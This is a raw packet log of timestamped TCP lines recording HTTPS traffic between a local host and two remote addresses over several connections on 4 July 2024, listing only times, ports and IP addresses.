Jul 4, 2024 20:17:28.819175959 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.819894075 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.819987059 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.819993973 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.867491961 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.913048029 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.913059950 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.913153887 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.913155079 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.913168907 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.913707972 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.913805008 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.913811922 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.914551020 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.914657116 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.914664030 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.914937973 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.915059090 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.915066004 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.959685087 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.002473116 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002484083 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002579927 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.002600908 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002760887 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002803087 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002837896 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.002846003 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.002868891 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.002979994 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.003067970 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.003074884 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.004635096 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.004731894 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.004740000 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.004889965 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.004987001 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.004997015 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006346941 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006443024 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.006450891 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006644964 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006730080 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.006736994 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006875992 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.006968975 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.006977081 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.055552959 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.094362974 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094383001 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094475031 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.094475031 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.094510078 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094521999 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094547033 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094575882 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.094712019 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094815016 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.094830036 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.094927073 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.095390081 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.095484018 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.095495939 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.095669985 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.095757961 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.095767021 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.095895052 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.095978975 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.095987082 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.096925020 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097014904 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.097028017 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097125053 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097208023 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.097218037 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097486973 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097568989 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.097579002 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097667933 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.097752094 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.097759962 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.098315001 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.098407030 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.098409891 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.098421097 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.098501921 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.098506927 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.098622084 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.099358082 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.109910011 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.109951973 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.110090971 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.111670017 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.111681938 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.703377962 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.706568956 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.706610918 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.866769075 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.866848946 CEST	443	49807	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:29.866920948 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.867374897 CEST	49807	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:29.868717909 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.868762016 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:29.868837118 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.869138956 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:29.869149923 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:30.465604067 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:30.469378948 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:30.469398975 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.339706898 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.339768887 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.339796066 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.339813948 CEST	443	49808	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.339854002 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.340969086 CEST	49808	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.351905107 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.351946115 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.352019072 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.352385998 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.352396965 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.963198900 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:31.965630054 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:31.965650082 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.273260117 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.273296118 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.275017977 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.275418997 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.275438070 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.277990103 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.283394098 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.283401012 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.287786007 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.363157034 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.363483906 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.363512039 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.364487886 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.364787102 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.364826918 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.364854097 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.364887953 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.365418911 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.367461920 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.367491007 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.411402941 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.453077078 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.453136921 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.453170061 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.453193903 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.453207016 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.453654051 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.453758955 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.453767061 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.453955889 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.454003096 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.454165936 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.454174042 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.454636097 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.454766989 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.454775095 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.454932928 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.455054998 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.455061913 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.455763102 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.455871105 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.455878019 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.456435919 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.456785917 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.456795931 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.507386923 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.542800903 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.542815924 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.542934895 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.542958975 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.542974949 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.543103933 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.543112040 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.543355942 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.543431044 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.543438911 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.543920994 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.544028997 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.544035912 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.544200897 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.544301033 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.544310093 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.544758081 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.544847965 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.544855118 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.545320034 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.545439959 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.545447111 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.545581102 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.545686960 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.545694113 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.546170950 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.546328068 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.546334982 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.546458960 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.546550035 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.546555996 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.547000885 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.547111034 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.547516108 CEST	49809	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:32.547528982 CEST	443	49809	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:32.549998999 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:32.550014973 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:32.550549030 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:32.550745010 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:32.550755978 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.118311882 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.123095036 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:33.123116970 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.243391037 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.243963003 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.245390892 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:33.245405912 CEST	443	49810	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:33.245407104 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:33.245438099 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:33.245477915 CEST	49810	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:33.245503902 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:33.245599031 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:33.245935917 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:33.245969057 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.181241989 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.182775021 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.182835102 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.910963058 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.911051035 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.911118031 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.911134005 CEST	443	49811	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.911286116 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.912993908 CEST	49811	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.912993908 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.913064003 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:34.913204908 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.913503885 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:34.913532972 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.538280964 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.540532112 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.540560007 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.745343924 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.745419025 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.745496035 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.745534897 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.746197939 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.746257067 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.746275902 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.746953011 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.747018099 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.747033119 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.801971912 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.835392952 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.835406065 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.835452080 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.835481882 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.835495949 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.836427927 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.836498976 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.836510897 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.837382078 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.837435961 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.837449074 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.838351965 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.838417053 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.838428974 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.880104065 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925127983 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925143003 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925187111 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925221920 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925239086 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925358057 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925410032 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925427914 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925446033 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925468922 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925896883 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.925971985 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.925986052 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.926680088 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.926759005 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.926770926 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.927495956 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.927562952 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.927577972 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.927788973 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.927839994 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.927853107 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.928543091 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.928603888 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.928616047 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.929374933 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.929451942 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:35.929464102 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:35.973859072 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.017168999 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.017178059 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.017235041 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.017280102 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.017292023 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.017941952 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.017991066 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.018002987 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.018022060 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.018042088 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.018070936 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.018070936 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.018070936 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.019221067 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.019288063 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.019301891 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.019534111 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.019599915 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.019613981 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.019773006 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.019840002 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.019851923 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.020390034 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.020442963 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.020454884 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.020844936 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.020924091 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.020936966 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.021667957 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.021727085 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.021740913 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022351980 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022413969 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.022425890 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022636890 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022702932 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022703886 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.022722006 CEST	443	49814	13.107.137.11	192.168.2.6
